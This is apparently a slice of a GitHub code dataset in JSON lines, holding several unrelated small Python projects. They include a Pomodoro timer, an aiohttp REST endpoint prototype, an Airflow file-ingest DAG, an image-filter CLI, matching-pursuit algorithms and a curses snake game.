self.style.set_theme('default')\n self.style.configure('TButton', background=self.BACKGROUND_COLOR,\n highlightcolor=self.BACKGROUND_COLOR, highlightthickness=0)\n\n my_map = [('active', self.BACKGROUND_COLOR),\n ('!active', self.BACKGROUND_COLOR),\n ('alternate', self.BACKGROUND_COLOR),\n ('!alternate', self.BACKGROUND_COLOR),\n ('background', self.BACKGROUND_COLOR),\n ('!background', self.BACKGROUND_COLOR),\n ('disabled', self.BACKGROUND_COLOR),\n ('!disabled', self.BACKGROUND_COLOR),\n ('focus', self.BACKGROUND_COLOR),\n ('!focus', self.BACKGROUND_COLOR),\n ('invalid', self.BACKGROUND_COLOR),\n ('!invalid', self.BACKGROUND_COLOR),\n ('pressed', self.BACKGROUND_COLOR),\n ('!pressed', self.BACKGROUND_COLOR),\n ('selected', self.BACKGROUND_COLOR),\n ('!selected', self.BACKGROUND_COLOR)]\n\n self.style.map('.',\n background=my_map,\n highlightcolor=my_map,\n highlightbackground=my_map,\n activeforeground=my_map,\n activebackground=my_map,\n disabledforeground=my_map,\n indicatoron=my_map,\n )\n self.style.map('TButton',\n background=my_map,\n highlightcolor=my_map,\n highlightbackground=my_map,\n activeforeground=my_map,\n activebackground=my_map,\n disabledforeground=my_map,\n indicatoron=my_map,\n )\n\n def destroy(self):\n if self.timer is not None:\n self.timer.cancel()\n super(FlashCards, self).destroy()\n\n\nFlashCards().mainloop()\n\n\n# >>> a = [ [ str(a)+\"x\"+str(b)+\",\"+str(a * b) for a in range(0,100) if a*b <= 100] for b in range(0,100)]\n# >>> for x in a:\n# ... for y in x:\n# ...\n\n# >>> a = [ [ str(a)+\":\"+str(b)+\",\"+str(a/b)\n# for a in range(0,100) if a/b <= 100 and (a/b)*b == a ] for b in range(1,100)]\n# >>> for x in a:\n# ... for y in x:\n# ... print(y)\n# ...\n","repo_name":"jakubbaginski/pythonbootcamp","sub_path":"001-031 - TODO REFACTORING/Day 031 Flash Cards/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"69914363572","text":"lista = []\nx = int(input())\ny = int(input())\nlista.append(x)\nlista.append(y)\nx = max(lista)\ny = min(lista)\n\nfor i in range((y + 1), x):\n if (i%5 == 2) or (i%5==3):\n sorted([i])\n print(i)\n ","repo_name":"luizgallas/uri_iniciante","sub_path":"1133.py","file_name":"1133.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72073004853","text":"import json\nfrom enum import Enum\n\nfrom aiohttp import web\nimport sqlalchemy as sa\n\n# TODO import apispec\nfrom aiohttp_security import permits\n\nclass RESTError(web.HTTPError):\n status_code = 500\n error = \"Unknown Error\"\n\n def __init__(self, message=None, status_code=None, **kwargs):\n\n if status_code is not None:\n self.status_code = status_code\n\n super().__init__(reason=message)\n if not message:\n message = self.error\n\n msg_dict = {\"error\": message}\n\n if kwargs:\n msg_dict['error_details'] = kwargs\n\n self.text = json.dumps(msg_dict)\n self.content_type = 'application/json'\n\nclass ForbiddenError(RESTError):\n status_code = 401\n error = \"Access denied\"\n\nclass NotFoundError(RESTError):\n status_code = 404\n error = \"Not found\"\n\nclass MethodNotAllowed(RESTError):\n status_code = 405\n error = \"Method not allowed\"\n\nclass BadRequest(RESTError):\n status_code = 400\n error = 'Bad request'\n\n\nasync def require(request, permission):\n has_perm = await permits(request, permission)\n if not has_perm:\n msg = 'User has no permission {}'.format(permission)\n raise ForbiddenError(msg)\n\nclass Endpoint:\n pool = None\n model = None\n schema = None\n lookup_field = 'id'\n lookup_regex = '\\d+'\n filters = []\n path = '/endpoint'\n\n def __init__(self, pool):\n self.pool = pool\n\n async def dispatch(self, request):\n method = request.method.lower()\n if not hasattr(self, method):\n raise MethodNotAllowed\n if 'id' not in request.match_info:\n method = 'list'\n return await getattr(self, method)(request, *request.match_info.values())\n\n async def get_object(self, object_id):\n async with self.pool.acquire() as conn:\n query = self.model.__table__.select().where(getattr(self.model, self.lookup_field) == object_id)\n row = await conn.execute(query)\n rec = await row.first()\n if not rec:\n raise NotFoundError\n return rec\n\n async def get(self, request, object_id):\n # await require(request, Permissions.view)\n rec = await self.get_object(object_id)\n return web.json_response(self.schema.dump(rec))\n\n async def list(self, request):\n # await require(request, Permissions.view)\n # def text_filter(query, value, table):\n # pairs = ((n, c) for n, c in table.c.items()\n # if isinstance(c.type, sa.sql.sqltypes.String))\n # sub_queries = []\n # for name, column in pairs:\n # do_compare = op(\"like\", column)\n # sub_queries.append(do_compare(column, value))\n #\n # query = query.where(or_(*sub_queries))\n # return query\n async with self.pool.acquire() as conn:\n query = self.model.__table__.select()\n count = await conn.scalar(\n sa.select([sa.func.count()]).select_from(query.alias('foo'))\n )\n # sort_dir = sa.asc if paging.sort_dir == ASC else sa.desc\n cursor = await conn.execute(query)\n # .offset(paging.offset)\n # .limit(paging.limit)\n # .order_by(sort_dir(paging.sort_field)))\n\n recs = await cursor.fetchall()\n headers = {'X-Total-Count': str(count)}\n return web.json_response(self.schema.dump(recs, many=True), headers=headers)\n\n async def post(self, request):\n # await require(request, Permissions.view)\n data = await request.json()\n errors = self.schema.validate(data)\n if errors:\n raise BadRequest(errors)\n async with self.pool.acquire() as conn:\n query = self.model.__table__.insert().values(data)\n rec = await conn.execute(query)\n await conn.execute('commit;')\n\n async def put(self, request, object_id):\n # await require(request, Permissions.edit)\n data = await request.json()\n rec = await self.get_object(object_id)\n errors = self.schema.validate(data)\n if errors:\n raise BadRequest(errors)\n async with self.pool.acquire() as conn:\n row = await conn.execute(\n self.model.__table__.update()\n .values(data))\n # .returning(*self.__table__.c)\n # .where(self._pk == entity_id))\n await conn.execute('commit;')\n\n async def patch(self, request, object_id):\n return await self.put(request, object_id)\n\n async def delete(self, request, object_id):\n # await require(request, Permissions.delete)\n async with self.pool.acquire() as conn:\n query = self.model.__table__.delete().where(getattr(self.model, self.lookup_field) == object_id)\n await conn.execute(query)\n # TODO: Think about autocommit by default\n await conn.execute('commit;')\n\n def setup_routes(self, router):\n router.add_route('*', f'{self.path}', self.dispatch)\n router.add_route('*', f'{self.path}/{{id}}', self.dispatch)\n\n\nimport marshmallow_sqlalchemy\nfrom aiopg.sa import create_engine\n\nimport sqlalchemy as sa\nfrom marshmallow_sqlalchemy import ModelSchema\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import scoped_session, sessionmaker, relationship, backref\n\nengine = sa.create_engine(\"postgres://127.0.0.1/test\")\nsession = scoped_session(sessionmaker(bind=engine))\nBase = declarative_base()\n\nclass Author(Base):\n __tablename__ = \"authors\"\n id = sa.Column(sa.Integer, primary_key=True)\n name = sa.Column(sa.String)\n\n def __repr__(self):\n return \"\".format(self=self)\n\n\nclass AuthorSchema(ModelSchema):\n class Meta:\n model = Author\n transient = True\n\nBase.metadata.create_all(engine)\nauthor = Author(name=\"Chuck Paluhniuk\")\nsession.add(author)\nsession.commit()\nauthor = Author(name=\"Adolf Hitler\")\nsession.add(author)\nsession.commit()\n\nimport ipdb\nipdb.set_trace()\n\nclass Test(Endpoint):\n model = Author\n schema = AuthorSchema()\n path = '/test'\n\n\n\napp = web.Application()\nasync def on_startup(app):\n db = await create_engine(database='test')\n test = Test(db)\n test.setup_routes(app.router)\n\n# import ipdb\n# ipdb.set_trace()\n# aiohttp_autoreload.start()\napp.on_startup.append(on_startup)\nweb.run_app(app)\n\n","repo_name":"kotenev/aiorf","sub_path":"aiorf/endpoint.py","file_name":"endpoint.py","file_ext":"py","file_size_in_byte":6446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7965779126","text":"from typing import List\n\nfrom DAL.Manager import Manager\nfrom DTO.ReceiptDetails import ReceiptDetails\n\n\nclass ReceiptDetailsDAL(Manager):\n def __init__(self):\n super().__init__(\"receipt_details\", [\n \"RECEIPT_ID\",\n \"INGREDIENT_ID\",\n \"QUANTITY\",\n \"SUPPLIER_ID\"\n ])\n\n def convertToReceiptDetails(self, data: List[List[object]]) -> List[ReceiptDetails]:\n return self.convert(data, lambda row: ReceiptDetails(\n row['RECEIPT_ID'],\n row['INGREDIENT_ID'],\n row['QUANTITY'],\n row['SUPPLIER_ID']\n ))\n\n def addReceiptDetails(self, receiptDetails: ReceiptDetails) -> int:\n try:\n return self.create(\n receiptDetails.getReceiptID(),\n receiptDetails.getIngredientID(),\n receiptDetails.getQuantity(),\n receiptDetails.getSupplierID()\n ) # receiptDetails khi tạo mặc định deleted = 0\n except Exception as e:\n print(f\"Error occurred in ReceiptDetailsDAL.addReceiptDetails(): {e}\")\n return 0\n\n def searchReceiptDetails(self, *conditions: str) -> List[ReceiptDetails]:\n try:\n return self.convertToReceiptDetails(self.read(*conditions))\n except Exception as e:\n print(f\"Error occurred in ReceiptDetailsDAL.searchReceiptDetailss(): {e}\")\n return []\n","repo_name":"quangduy201/cafe-application","sub_path":"cafe_application/src/DAL/ReceiptDetailsDAL.py","file_name":"ReceiptDetailsDAL.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70067007414","text":"import time\nimport math\nfrom tkinter import *\n# ---------------------------- CONSTANTS ------------------------------- #\nPINK = \"#e2979c\"\nRED = \"#e7305b\"\nGREEN = \"#9bdeac\"\nYELLOW = \"#f7f5dd\"\nFONT_NAME = \"Courier\"\nWORK_MIN = 25\nSHORT_BREAK_MIN = 5\nLONG_BREAK_MIN = 20\nreps = 0\ntimer = None\n# ---------------------------- TIMER RESET ------------------------------- #\n\n\ndef reset_timer():\n if timer is not None:\n window.after_cancel(timer)\n canvas.itemconfig(timer_text, text=f\"00:00\")\n timer_label.config(text=\"Timer\", fg=GREEN)\n check_label.config(text=\"\")\n global reps\n reps = 0\n\n# ---------------------------- TIMER MECHANISM ------------------------------- #\n\n\ndef count_down_trigger():\n global reps\n reps += 1\n work_sec = WORK_MIN * 60\n short_break_sec = SHORT_BREAK_MIN * 60\n long_break_sec = LONG_BREAK_MIN * 60\n\n if reps % 8 == 0:\n timer_label.config(text=\"Break\", fg=RED)\n count_down(long_break_sec)\n elif reps % 2 == 0:\n timer_label.config(text=\"Break\", fg=PINK)\n count_down(short_break_sec)\n else:\n timer_label.config(text=\"Work\", fg=GREEN)\n count_down(work_sec)\n\n\n\n\n# ---------------------------- COUNTDOWN MECHANISM ------------------------------- #\n\n\ndef count_down(count):\n\n minutes = math.floor(count / 60)\n seconds = count % 60\n canvas.itemconfig(timer_text, text=f\"{minutes:02}:{seconds:02}\")\n if count > 0:\n global timer\n timer = window.after(1000, count_down, count - 1)\n else:\n count_down_trigger()\n marks = \"\"\n work_sessions = math.floor(reps/2)\n for _ in range(work_sessions):\n marks += \"✔\"\n check_label.config(text=marks)\n\n# ---------------------------- UI SETUP ------------------------------- #\nwindow = Tk()\nwindow.title(\"Pomodoro\")\nwindow.config(padx=100, pady=50, bg=YELLOW)\n\ntimer_label = Label(fg=GREEN, bg=YELLOW, text=\"Timer\", font=(FONT_NAME, 35, \"bold\"))\ntimer_label.grid(row=0, column=1)\ncanvas = Canvas(width=200, height=224, bg=YELLOW, highlightthickness=0)\ntomato_img = PhotoImage(file=\"tomato.png\")\ncanvas.create_image(\n 100,\n 112,\n image=tomato_img\n)\ntimer_text = canvas.create_text(100, 130, text=\"00:00\", fill=\"white\", font=(FONT_NAME, 35, \"bold\"))\ncanvas.grid(row=1, column=1)\n\nstart_button = Button(text=\"Start\", highlightthickness=0, command=count_down_trigger)\nstart_button.grid(column=0, row=2)\nreset_button = Button(text=\"Reset\", highlightthickness=0, command=reset_timer)\nreset_button.grid(column=2, row=2)\ncheck_label = Label(fg=GREEN, bg=YELLOW, font=(FONT_NAME, 20, \"bold\"))\ncheck_label.grid(column=1, row=3)\nwindow.mainloop()","repo_name":"AndreAppolariFilho/100_days_of_python","sub_path":"day_28_pomodora/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20812277453","text":"# -*- coding: utf-8 -*-\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\nimport airflow\nfrom datetime import datetime, timedelta\nfrom acme.operators.file_operators import FileToPredictableLocationOperator\nfrom acme.operators.file_operators import PredictableLocationToFinalLocationOperator\n\n\nseven_days_ago = datetime.combine(\n datetime.today() - timedelta(7),\n datetime.min.time())\n\nargs = {\n 'owner': 'airflow',\n 'start_date': seven_days_ago,\n 'provide_context': True\n}\n\ndag = airflow.DAG(\n 'file_ingest',\n schedule_interval=\"@daily\",\n dagrun_timeout=timedelta(minutes=60),\n default_args=args,\n max_active_runs=1)\n\npick_up_file = FileToPredictableLocationOperator(\n task_id='pick_up_file',\n src_conn_id='fs_source_system',\n dst_conn_id='fs_archive',\n file_mask=\"some_file_pattern_{{ ds_nodash }}\",\n dag=dag)\n\nload_file = PredictableLocationToFinalLocationOperator(\n task_id='load_file',\n src_conn_id='fs_archive',\n dst_conn_id='fs_target',\n src_task_id='pick_up_file',\n dag=dag)\n\npick_up_file >> load_file\n\n\nif __name__ == \"__main__\":\n dag.cli()\n","repo_name":"gtoonstra/etl-with-airflow","sub_path":"examples/file-ingest/file_ingest.py","file_name":"file_ingest.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":1235,"dataset":"github-code","pt":"21"} +{"seq_id":"36927804002","text":"\"\"\"Monks challenge\"\"\"\nimport argparse\nimport logging\nimport sys\nimport uuid\nfrom pathlib import Path\n\nfrom PIL import Image\n\n\ndef im_has_alpha(img_arr):\n \"\"\"\n returns True for Image with alpha channel\n \"\"\"\n channel = img_arr.info.get(\"transparency\")\n return channel is not None\n\n\ndef overlay(i_overlay, output):\n \"\"\"\n overlay a given image on top of the source.\n \"\"\"\n try:\n overlay_image = Image.open(i_overlay)\n if not im_has_alpha(overlay_image):\n return None, \"the overlay image must be transparent . RGBA mode\"\n print(\"Overlaying this beautiful image with this amazing png\")\n output.paste(overlay_image.convert(\"RGBA\"),\n mask=overlay_image.convert(\"RGBA\"))\n overlay_image.close()\n except FileNotFoundError as file_error:\n print(\"I didn't find the image, are you sure is the right place? \")\n return None, str(file_error)\n except TypeError as type_error:\n print('Did you send an image input and a overlay image type?')\n return None, str(type_error)\n except OSError as os_error:\n print('Image format error')\n return None, str(os_error)\n except AttributeError as attribute_error:\n print('Did yo send two images?')\n return None, str(attribute_error)\n return output, None\n\n\ndef rotate(rotation, image):\n \"\"\"\n rotate N degrees.\n \"\"\"\n try:\n output = image.rotate(rotation)\n print(\"Changing to black and white\")\n except FileNotFoundError as file_error:\n print(\"I didn't find the image, are you sure is the right place? \")\n return None, str(file_error)\n except TypeError as type_error:\n print('Did you send an image type and a rotation int?')\n return None, str(type_error)\n except AttributeError as attribute_error:\n print('Did you send an image and a rotation int?')\n return None, str(attribute_error)\n return output, None\n\n\ndef gray_scale(image):\n \"\"\"\n convert the given image to black and white.\n \"\"\"\n try:\n output = image.convert('LA')\n print(\"Changing to black and white\")\n except FileNotFoundError as file_error:\n print(\"I didn't find the image, are you sure is the right place? \" + str(file_error))\n return None, str(file_error)\n except TypeError as type_error:\n print('Did you send an image to gray scale it?')\n return None, str(type_error)\n except OSError as os_error:\n print(\"I do not see a file here\" + str(os_error))\n return None, str(os_error)\n return output, None\n\n\ndef monks_filter(parser, options): # pylint: disable=too-many-branches\n \"\"\"\n Case arguments\n \"\"\"\n image = Image.new(mode=\"RGBA\", size=(0, 0))\n try:\n args = parser.parse_args(options)\n if args.input is None:\n return \"Missing image input\"\n original = Image.open(args.input)\n image = original.copy()\n original.close()\n error = None\n for option in options:\n if image is None:\n print(\"Something went wrong\")\n logging.exception(error)\n if option in \"-f\" or option in \"--file\":\n continue\n if option in \"-r\" or option in \"--rotate\":\n image, error = rotate(args.num, image)\n elif option in \"-o\" or option in \"--overlay\":\n image, error = overlay(args.filename, image)\n elif option in \"-g\" or option in \"--gray_scale\":\n image, error = gray_scale(image)\n elif option in \"-n\" or option in \"--name\" or option in \"-e\" or option in \"--extension\":\n continue\n elif isinstance(option, str) and args.name is not None or args.type \\\n is not None or args.num is not None:\n continue\n monks_filter_result = set_output(args, image)\n except ValueError as value_error:\n logging.error(str(value_error))\n monks_filter_result = \"I don't manage this kind of extension, \" \\\n \"you can send me jpg/png files if you want\"\n image.close()\n except AttributeError as attribute_error:\n logging.error(str(attribute_error))\n monks_filter_result = \"Missing parameters\"\n image.close()\n except FileNotFoundError as file_not_found:\n logging.error(str(file_not_found))\n monks_filter_result = \"I didn't find your file, are you sure you put the wright path?\"\n image.close()\n except BaseException as exception: # pylint: disable=broad-except\n logging.error(str(exception))\n monks_filter_result = \"Missing argument!\"\n image.close()\n return monks_filter_result\n\n\ndef set_output(arguments, image):\n \"\"\"\n Setting name image output and saving file\n :param arguments: parser\n :param image: image to save\n :return:\n \"\"\"\n name = str(uuid.uuid4())\n output_type = \"jpg\"\n directory = \"/tmp/images/\"\n if arguments.name is not None and isinstance(arguments.name, str):\n name = arguments.name\n if arguments.type is not None and \"jpg\" in arguments.type or \"png\" in arguments.type:\n output_type = arguments.type\n if arguments.directory is not None and isinstance(arguments.directory, str):\n directory = arguments.directory\n Path(directory).mkdir(parents=True, exist_ok=True)\n image.convert('RGB').save(directory + name + \".\" + output_type)\n image.close()\n return 'OUTPUT:' + directory + name + \".\" + output_type\n\n\ndef create_parser():\n \"\"\"\n Creates the parser with the options for the user\n :return: Parser object\n \"\"\"\n parser_args = argparse.ArgumentParser(description='Process images according to the '\n 'selected filters')\n parser_args.add_argument('-f', '--file', action='store', dest='input',\n help='file to change')\n parser_args.add_argument(\"-r\", \"--rotate\", action='store', type=int, dest=\"num\",\n help=\"rotate an image\")\n parser_args.add_argument(\"-o\", \"--overlay\", action='store', dest=\"filename\",\n help=\"overlying the input image with an a transparent png image\")\n parser_args.add_argument(\"-g\", \"--gray_scale\", dest=\"grayscale\", action='store_true',\n help=\"changing to black and white.\")\n parser_args.add_argument(\"-e\", \"--extension\", dest=\"type\", action='store',\n help=\"choose your type output. It could be png or jpg\")\n parser_args.add_argument(\"-n\", \"--name_output\", dest=\"name\", action='store',\n help=\"choose your name output image. \"\n \"If you don't is going to be an uuid4 name\")\n parser_args.add_argument(\"-d\", \"--directory\", dest=\"directory\", action='store',\n help=\"choose where do you want to send the image. \"\n \"If you don't is going to be in /tmp/images/.\"\n \"Please send it with the / at the end\")\n return parser_args\n\n\nif __name__ == '__main__':\n print(\"Let see what we're going to do\")\n parser_arguments = create_parser()\n opts = sys.argv[1:]\n result = monks_filter(parser_arguments, opts)\n print(result)\n","repo_name":"julietavuan/monks-photo-filter","sub_path":"monks_filter.py","file_name":"monks_filter.py","file_ext":"py","file_size_in_byte":7325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1030751990","text":"## Importations\nimport numpy as np\nimport math\nimport cmath\n\n## Constantes\nD2 = np.array([[1,1,2,5,0,0,3,-2,1,2,2,2],[0,-1,-1,1,0,0,5,0,2,2,7,-1],[1,1,1,5,1,2,2,1,1,1,1,5],[1,5,2,2,5,0,-4,5,1,5,0,0],[0,2,2,1,1,0,0,0,0,4,-1,-2],[-1,2,2,2,-2,-3,-4,1,1,1,1,0]])\nx1 = np.array([[4/3-math.sqrt(2)/2],[4/3+math.sqrt(2)/2],[2/3]])\nx2=np.array([[-10],[-10],[1],[21],[0],[9]])\neps=1e-6\nk_max=4000\n\n## Fonctions\n\n# Fonction colonne\n# Renvoie la ieme colonne dune matrice\ndef colonne(D,i):\n i = i-1 # Les tableaux commencent a 0 en python\n taille = np.shape(D)\n M = taille[0] # Nombre de lignes de la matrice\n Di = np.zeros((M,1))\n for k in range (0,M):\n Di[k] = D[k,i]\n return Di\n\n# Fonction choix_mk\n# Renvoie la position de l'atome cherche\ndef choix_mk(D,Rk):\n taille = np.shape(D)\n M = taille[0] # Nombre de lignes de la matrice\n N = taille[1] # Nombre de colonnes de la matrice\n X = np.zeros((N,1))\n for j in range(0,N):\n col = colonne(D,j)\n colT = col.T\n X[j] = abs(np.dot(colT,Rk))/np.linalg.norm(col)\n print(X)\n for j in range(0,N):\n if (np.amax(X) == X[j]):\n mk = j\n return mk\n\n# Fonction mp\n# Algorithme du matching pursuit\ndef mp(D,kmax,eps,x0):\n taille = np.shape(D)\n M = taille[0] # Nombre de lignes de la matrice\n N = taille[1] # Nombre de colonnes de la matrice\n alpha = np.zeros((N,1))\n Rk = x0\n P=[]\n x = 0\n k = 0\n while (k < kmax) & (np.linalg.norm(Rk) > eps):\n mk = choix_mk(D,Rk)\n P = [P,mk]\n print('Les atomes selectionnes : ')\n print(P)\n a = np.dot(Rk.T,colonne(D,mk))\n b = a / (np.linalg.norm(colonne(D,mk))**2)\n c = b * colonne(D,mk)\n x = x + c\n print('x = ')\n print(x)\n alpha[mk] = alpha[mk] + b\n Rk = Rk - c\n print('Norme de Rk = ')\n print(np.linalg.norm(Rk))\n k = k+1\n niter = k\n residu_final = np.linalg.norm(Rk)\n print('x=')\n print(x)\n print(\"Nombre d'iterations :\")\n print(niter)\n print('Residu final = ')\n print(residu_final)\n print('La reprssentation parcimonieuse alpha = ')\n print(alpha)\n\n# Fonction ajout_colonne_fin\n# Ajoute la ligne Di a la fin de la matrice D\ndef ajout_colonne_fin(D,Di):\n taille = np.shape(D)\n M = taille[0] # Nombre de lignes de la matrice\n N = taille[1] # Nombre de colonnes de la matrice\n DD = np.zeros((M,N+1))\n for i in range(0,M):\n for j in range (0,N):\n DD[i,j] = D[i,j]\n for k in range(0,M):\n DD[k,N] = Di[k]\n return DD\n\n\n# Fonction omp\n# Algorithme de l'othogonal matching pursuit\ndef omp(D,kmax,eps,x):\n taille = np.shape(D)\n M = taille[0] # Nombre de lignes de la matrice\n N = taille[1] # Nombre de colonnes de la matrice\n alpha=np.zeros((N,1))\n Rk = x\n P = []\n Dk = D\n k = 0\n while (k < kmax) & (np.linalg.norm(Rk) > eps):\n mk = choix_mk(D,Rk)\n P = [P,mk]\n Dk = ajout_colonne_fin(Dk,colonne(Dk,mk))\n zk = np.dot(np.linalg.pinv(Dk),x)\n print('zk=')\n print(zk)\n Rk = Rk - np.dot(Dk,zk)\n k = k+1\n niter = k\n residu_final = np.linalg.norm(Rk)\n alpha = zk\n print('x = ')\n print(x)\n print(\"Nombre d'iterations = \")\n print(niter)\n print('residu final = ')\n print(residu_final)\n print('La representation parcimonieuse alpha = ')\n print(alpha)\n\n## Affichage\nprint(omp(D2, k_max, eps, x2))","repo_name":"labatvalen/compressiveSensingIntroduction","sub_path":"cs_TD2.py","file_name":"cs_TD2.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73779193332","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path('', views.MarketPlace, name='marketplace'),\n path('/', views.VendorDetail, name='vendordetail'),\n\n # Add To Cart\n path('add_to_cart//', views.AddToCart, name='addtocart'),\n # Decrease Cart\n path('decrease_cart//', views.DecreaseCart, name='decreasecart'),\n #Delete Cart Item\n path('delete_cart//', views.DeleteCart, name='deletecart'),\n]","repo_name":"Asoliudeen1/foodOnline","sub_path":"marketplace/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10859686507","text":"# -*- coding: utf-8 -*-\n\nimport curses\nimport time\nfrom random import randint\n\n\n\ndirections = [curses.KEY_RIGHT, curses.KEY_LEFT, curses.KEY_UP, curses.KEY_DOWN]\n\n\nfield_dictionary = {-1: '/',\n\t\t\t\t\t0: ' ',\n\t\t\t\t\t1: '#',\n\t\t\t\t\t2: 'o',\n\t\t\t\t\t3: '0',\n\t\t\t\t\t4: 'w'}\n\n\nclass Field:\n\tdef __init__(self, height, width, snake):\n\t\tself.height = height\n\t\tself.width = width\n\t\tself.cells = [[0 for i in range(self.width+2)] for j in range(self.height+2)]\n\n\t\t#setting border\n\t\tfor j in range(self.height+2):\n\t\t\tself.cells[j][0] = -1\n\t\t\tself.cells[j][self.width+1] = -1\n\t\tfor i in range(1, self.width+1):\n\t\t\tself.cells[0][i] = -1\n\t\t\tself.cells[self.height+1][i] = -1\n\t\t\n\t\tself.food_gen(snake)\n\t\t\n\t\t\t \n\tdef clear_field(self):\n\t\tfor j in range(1, self.height+1):\n\t\t\tfor i in range(1, self.width+1):\n\t\t\t\tself.cells[j][i] = 0\t\t\n\t\treturn\n\n\n\tdef set_field(self, snake):\n\t\t# Setting field\n\t\tself.clear_field()\n\n\t\t#setting food\n\t\tself.cells[self.food[0]][self.food[1]] = 4\n\n\t\t# Setting body\n\t\tfor i in snake.body[1:]:\n\t\t\tif i in snake.eaten_food:\n\t\t\t\tself.cells[i[0]][i[1]] = 3 \n\t\t\telse:\n\t\t\t\tself.cells[i[0]][i[1]] = 2 \n\n\t\t# Setting head\n\t\tself.cells[snake.body[0][0]][snake.body[0][1]] = 1\n\n\n\tdef render(self, screen, snake, score):\n\t\t\n\t\tself.set_field(snake)\n\t\tscreen.clear()\n\t\tfor j in range(0, self.height+2):\n\t\t\tfor i in range(0, self.width+2):\n\t\t\t\tscreen.addstr(j, i, field_dictionary[self.cells[j][i]])\n\t\tscreen.addstr(24, 2, 'Your score: ' + str(score))\n\n\n\tdef food_gen(self, snake):\n\t\ta = [randint(1, self.height), randint(1, self.width)]\n\t\t#checking if generated food hit the body\n\t\twhile a in snake.body:\n\t\t\ta = [randint(1, self.height), randint(1, self.width)]\n\t\tself.food = a\n\n\nclass Snake:\n\tdef __init__(self, y, x, direction):\n\t\tself.body = [[y, x], [y, x-1], [y, x-2]]\n\t\tself.direction = direction\n\t\tself.eaten_food = []\n\n\tdef is_alive(self, field):\n\t\t#checking if snake hit the wall\n\t\tif (self.body[0][0] == 0) or (self.body[0][0] == field.height+1) or (self.body[0][1] == 0) or (self.body[0][1] == field.width+1):\n\t\t\treturn False\n\t\t#checking if snake hit itself\n\t\tif (self.body[0] in self.body[1:]):\n\t\t\treturn False\n\t\treturn True\n\n\n\tdef set_direction(self, key):\n\t\tif key == curses.KEY_LEFT and self.direction == curses.KEY_RIGHT:\n\t\t\treturn\n\t\tif key == curses.KEY_RIGHT and self.direction == curses.KEY_LEFT:\n\t\t\treturn\n\t\tif key == curses.KEY_UP and self.direction == curses.KEY_DOWN:\n\t\t\treturn\n\t\tif key == curses.KEY_DOWN and self.direction == curses.KEY_UP:\n\t\t\treturn \n\t\tself.direction = key\n\t\n\tdef move(self, field):\n\t\tdy = 0\n\t\tdx = 0\n\t\tif (self.direction == curses.KEY_UP):\n\t\t\tdy = -1\n\t\telif (self.direction == curses.KEY_DOWN):\n\t\t\tdy = 1\n\t\telif (self.direction == curses.KEY_LEFT):\n\t\t\tdx = -1\n\t\telif (self.direction == curses.KEY_RIGHT):\n\t\t\tdx = 1\n\t\telse:\n\t\t\treturn\n\n\t\ty = self.body[0][0] + dy\n\t\tx = self.body[0][1] + dx\n\n\t\t#checking if snake have just eaten food\n\t\tif [y, x] == field.food:\n\t\t\tself.eaten_food.append([y, x])\n\t\t\tfield.food_gen(self)\n\n\t\tself.body.insert(0, [y, x])\n\t\tself.body.pop()\n\n\t\t#checking if the length of the body should increase\n\t\tfor i in self.eaten_food:\n\t\t\tif i not in self.body:\n\t\t\t\tself.eaten_food.remove(i)\n\t\t\t\tself.body.append(i)\n\t\t\t\t# break # can be uncomment if snake will start lagging\n\t\t\t\n\ndef if_inc_score(snake):\n\treturn True if (len(snake.eaten_food) != 0) and (snake.eaten_food[0] == snake.body[0]) else False\n\t\t\n'''\ndef main(screen):\n\n\tscreen.timeout(1)\n\n\tsnake = Snake(5, 5, curses.KEY_RIGHT)\n\tfield = Field(20, 20, snake)\n\tsnake_is_alive = True\n\tscore = 0\n\n\twhile snake_is_alive:\n\t\tkey = screen.getch()\n\n\t\tif key in directions:\n\t\t\tsnake.set_direction(key)\n\t\t\n\t\tsnake.move(field)\n\n\t\tif if_inc_score(snake):\n\t\t\tscore +=1\n\t\t\t\n\t\tfield.render(screen, snake, score)\n\n\t\tif not(snake.is_alive(field)):\n\t\t\tsnake_is_alive = False\n\t\t\n\t\ttime.sleep(.4)\n\telse:\n\t\tscreen.timeout(-1)\n\t\tscreen.addstr(23, 2, 'Oops, you died. Press End to exit the game')\n\t\twhile (screen.getch() != curses.KEY_END):\n\t\t\tpass\n\t\t\n\nif __name__ == \"__main__\":\n\tcurses.wrapper(main)\n'''\n","repo_name":"galtshifter/TeamDev","sub_path":"snake/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":3990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18522920673","text":"#!/usr/bin/env python3\n \nimport rclpy, cv2, numpy as np\n\nfrom rclpy.node import Node\n\nfrom geometry_msgs.msg import Pose\nfrom nav_msgs.msg import OccupancyGrid\nfrom sensor_msgs.msg import Image\nfrom tf_transformations import euler_from_quaternion\nfrom cv_bridge import 